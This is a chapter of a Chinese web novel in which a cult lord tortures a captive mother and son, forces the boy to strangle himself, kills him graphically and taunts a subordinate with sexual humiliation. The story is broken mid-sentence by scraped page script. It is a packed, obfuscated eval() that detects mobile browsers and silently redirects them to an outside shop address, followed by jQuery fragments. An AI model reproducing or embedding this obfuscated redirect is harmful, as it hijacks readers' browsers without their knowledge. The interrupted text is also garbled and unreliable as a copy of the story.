文趣网 > 其他小说 > 师姐,你没死啊?! > 46. 第四十六章
    时黎想起一件很久远的事。

    久远到她以为自己早已遗忘,久远到她连血脉双亲的面容都记不清了。可他们的脖颈逐渐失去生机、瘫软下去的触感,却还残留在掌心里,怎么也抹不掉。

    非九洲传言。她既不出身名门,也不是什么邪修之后。

    曾有一段时间,关于她是邪修的流言甚嚣尘上,总归,世家百盟都不愿意和她扯上关系。

    但是过了一段时间,那些掌握话语权的人大抵回过味来了——如果她当真出身邪修,那杀死同是邪修的双亲,岂不是为灵修界除害?

    这罪名扣上去便轻了几分。于是流言被悄然改写。

    ——她出生在一个不大不小的世家,父母慈爱,家境殷实。而她时黎不知感恩,罔顾人伦,以极其残忍的手段,杀死了自己的至亲。

    时黎听之发笑。好像他们越无辜、越慈爱,便越能衬出她的恶。多妙的说辞。

    事实是,她出生在一个偏远小镇。

    父母是屠户,灵力低微,天赋近乎于无,靠替人宰杀低阶灵兽糊口。就这份在旁人眼里贱如草芥的活计,在那个连饭都吃不饱的小镇里,已经算是体面了。

    至少时黎记得,她小时候没挨过饿,穿的衣服虽然旧,却总是干净的。比同村的孩子好过不少。

    她自幼便显露出惊人的天赋。五岁那年,她已经能独自按住一头待宰的灵兽,整个小镇,再也找不出修为比她还要高的孩子。

    当时的她,眼里的世界很简单——帮忙宰兽,吃饱饭,一天天长大。

    可她的容貌也在一天天变得出众。眉眼精致,漂亮的甚至有些邪气,在这个偏远荒凉的小镇过于尖锐刺目。

    比起邻里的羡慕、恭维或嫉妒,她最先发觉的,是父母眼中那日益加深的畏惧与惊恐。不,甚至还要更早些。

    这事她到如今也未能知晓缘由。

    在姜家预言她会灭世的传闻传遍九州之前,在妙仪所说的言论被奉为天道纶音之前,她的父母仿佛早已知道,她终将犯下十恶不赦之事。

    畏她,惧她,避她如蛇蝎。她清楚地感受到,他们的恐惧与厌恶随着自己一日日长大而层层加深。

    仿佛她是什么本不该存于世间的东西,窃据了这具躯壳,注定要犯下滔天大罪。

    真奇怪,明明那时候她什么也没有做。明明是他们将自己推进万劫不复之地,到头来,他们竟成了受害者。

    想到此,时黎胸中戾气激荡。就这么两个微小如草芥的人,就这么两个早就死在自己手中、尸骨化为齑粉的人,时至今日,还能影响到她的心绪。

    时黎的手指在袖中攥紧了,指甲嵌进掌心,些许疼痛让她清醒了几分。

    白霓伏在地上,空气猛地灌进她的喉咙,她大口大口喘着气,眼泪糊了满脸。金小满还保持着掐人的姿势,僵立在原地,被辛阿难按下暂停键。

    辛阿难早在意识到自己干了什么蠢事之后就赶紧叫停了。他收起缚骨哨,从台阶上跳下来,脸上的笑容早已褪得干干净净,只剩下一片不知所措的惊慌。

    他偷偷看了一眼恩主的脸色,心猛地往下一沉,在时黎站起身后,急忙抢上前去,单膝跪地,额头低垂,声音发紧:“属下该死。”

    极乐坊坊主本来站在一旁,听见“属下”二字,耳朵猛地竖了起来。

    他抬起头,看了一眼辛无咎的姿态,他的道主此刻像一只被掐住脖颈的猫,伏在地上,乖顺无比。

    坊主的脑子轰的一声炸开了。九洲之中,辛无咎会对着什么人自称属下?

    除了圣尊,没有旁人。想到此,他浑身的血液仿佛都沸腾起来,膝盖一软,同样迅疾地俯下身去,额头死死贴住冰凉的地面。

    整个人如蜉蝣见青天,井蛙观明月,因得遇传说中的人物而微微战栗着。

    “别玩了,”时黎的声音冷了些,未曾失态,仿佛只有用这份冷淡来掩饰,才能证明杀父弑母一事对她的影响已趋近于无。

    “抓紧把事情处理好。”

    辛阿难跪伏在地上,急忙应道:“是。”

    脚步声渐远,石门在身后合拢。密室里的灯光明亮,照着一地狼藉。辛阿难跪在地上,久久没有动,极乐坊坊主自然也不敢起身。

    过了好一会儿,辛阿难才从思量中回过神。他抬起头,看着那扇已经合拢的石门,皱起眉头,心里翻来覆去只有一个念头:恩主如今的脾气,怎么比之从前好这么多?

    本以为今日不死也要脱层皮,没想到恩主没有生气,没有惩罚,甚至连一个多余的眼神都没给。

    辛阿难的心里忽然冒出一个念头——难不成恩主看到自己尚有潜力,要予以重用,才轻拿轻放?他越想越觉得有理,嘴角慢慢弯了起来,弯出一个得意的弧度。

    他站起身来,拍了拍膝盖上并不存在的灰尘。不过确实也是,教中多是些不中用的老家伙,也就他还年轻些,还能替恩主分忧。

    辛阿难迈着轻快的步子,走到时黎方才坐过的位置,一屁股坐了下去。他单手托着下巴,歪着头,缚蛊哨在另一只手的指尖转着。

    他的眼睛转了转,一张昳丽的脸上,笑意还在,眼底却涌上孩子想到恶作剧时的、不加掩饰的兴奋。

    缚蛊哨又响,金小满慢慢后退,一步一步,退出白霓身上锁链所能企及的位置。白霓伸手去够,铁链哗啦啦地响,指尖擦过金小满的衣角,只差一寸,可她怎么也够不到。

    金小满在白霓面前站定,而后慢慢抬起双手,移到自己的脖颈上,手指触到皮肤后,开始收紧。

    他的脸从苍白变成潮红,从潮红变成青紫。嘴巴因为生理反应大张着,喉咙里发出含混的气音,可他的手依旧没有停,还在收紧,收得指节泛白,指甲掐进皮肉里,掐出一道道血痕。

    白霓还未从方才的濒死体验中回过神,喉咙火烧火燎,又见眼前一幕,脑子轰的一声炸开。

    “畜生!你们这两个畜生!你们还要怎样!你们不得好死!你们——”

    白霓的声音撕裂了,喉咙里涌上一股腥甜,她咳了一下,血沫溅在嘴角,她不管不顾,继续骂,骂得声嘶力竭,骂得五脏六腑都在翻涌。

    她再也不要瞻前顾后了,她再也不要委屈求全了。什么认罪,什么伏法,什么乖乖听话就能换一条活路——全是谎话。

    她忽然想通了。想通了死也没什么可怕的。可怕的是跪着死,是求着死,是死了还被人在茶余饭后当作闲谈。

    她抬起头,泪眼模糊中,忽然不合时宜的想起金烁。

    她与金烁本该是情投意合,就因为自己贪生怕死,总妄图别人高抬贵手。于是情投意合便成了一个人贪财,一个人好色。她连死,都死得不清不白。

    如果苦苦挣扎的结局是这般,她还不如...还不如一开始就闹到鱼死网破、闹到人尽皆知。

    辛阿难歪在椅中,看够了这对母子面上的挣扎,看他们哭,看他们喊,看他们抱在一起又被迫分开,看他们一次又一次地重复着希望与绝望。

    起初觉得有趣,看着看着便有些乏了。同样的戏码,演一遍是惊喜,演两遍就有些索然无味了。

    他将目光移到因恩主驾临还没有回过神的坊主身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776936|206618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上,歪着头看了他片刻,依稀记得自己还有一件事没有找他算账。

    “坊主,”辛阿难温柔地笑了起来,笑意里藏着别的意味,“你站近些,站到金小满面前去。”

    极乐坊坊主心头一紧,却不敢不从,一步步挪了过去。他揣测着自己在什么地方得罪了这位煞神。方才道主被吐了一脸血沫,他可是死死咬住嘴唇,没敢笑出一声。

    “再往前一点,”辛阿难仔细指挥着,仿佛在调整一幅画的挂位,“对,就是这个位置。别动了。”

    坊主站定,尚未明白其意,只听“砰”的一声闷响,金小满的头颅在他面前炸开了。

    血从断裂的动脉里喷涌而出,撞上冰冷的石壁,溅开一片刺目的红。肉沫、碎骨、脑浆混在血里,劈头盖脸地淋了坊主一脸。

    温热的,黏腻的,带着铁锈和腥甜的气味,糊在他的眼睛上、鼻子上、嘴唇上,顺着下巴往下淌,滴在墨绿色的衣袍上,浸出一片深色的、不断扩大的湿痕。

    金小满失去头颅的身躯朝白霓倒去。这下,她终于能碰到自己的小满了。明明早已料到死亡的结局,可当这一刻真的来临,她依旧不敢相信。

    白霓双手撑着地面,仓皇后退,仿佛迎面倒来的不是她最听话的孩子,而是什么陌生可怖的东西。退了几步,她又疯了似的爬回去,将那具小小的尸身紧紧抱进怀里。

    哭声凄厉,撕心裂肺,一身白衣渐渐被鲜血染透。

    “不若杀了我……不若杀了我……”

    辛阿难嫌她声音刺耳,抬手一个禁言诀,便封住了她的喉咙,白霓的嘴徒劳张合着,却发不出任何声音。

    坊主被白霓的哭声拽回了神,心中悚然,却仍顶着一脸黏腻,俯身叩首。

    辛阿难从主位上踱下来,在一室狼藉中挑拣着站到一块还算干净的、离坊主比较近的地面,温温柔柔地开口:“坊主,现在清醒些了吗?”

    任谁被人血兜头浇了满面,都不能说不清醒,坊主伏在地上,不敢争辩:“属下知罪。”

    辛阿难皱了皱眉,抬起右脚,靴尖探到他下巴的下方,靴尖轻轻往上抬了抬。

    坊主的下巴被那块硬邦邦的皮革缓缓顶起,力道不重,带着一种居高临下的轻慢。

    靴尖传来的那股力道让坊主的脖颈被迫后仰,他的脸从血泊中被抬了起来,血糊了满脸,眼皮□□涸的血渍粘得半闭半睁,喉结暴露在辛阿难的目光下,因为恐惧上下滚动。

    辛阿难的靴尖没有收回去,就这么抵着坊主的下巴,将他的头颅左右拨动。

    他的目光从坊主那张被血糊得面目全非的脸上缓缓扫过,语气阴寒:“知罪?我看你分明不知道!”

    坊主确实不知道。他自认辛无咎的每一个吩咐他都尽力满足了,自道主到达极乐坊之后,哪一样不是他亲力亲为,哪一样不是办得妥妥帖帖?

    极乐坊的账目、欲海楼的运转、白霓母子的看管,桩桩件件,他哪一样出了差错?可现下与之争辩才是一件蠢事。他绷着身子,声音发紧:“请道主明示。”

    可心里那块石头却悄悄落了地,道主既然有心问下去,那他的性命,至少可以保得住了。

    辛阿难终于收回靴尖,将靴子在坊主的下身那片还算干净的锻袍上蹭了蹭,阴寒昳丽的脸上忽然浮起一层笑意。

    “你上他,上得爽吗?”辛阿难的声音难得放得轻,飘进坊主耳朵里仿佛是情人在耳边的呢喃。

    “看着那张与我相似的面目,雌伏在你身下——”他歪了歪头,嘴角的弧度弯得更深了,十分好奇,“有没有让你爽到失禁?”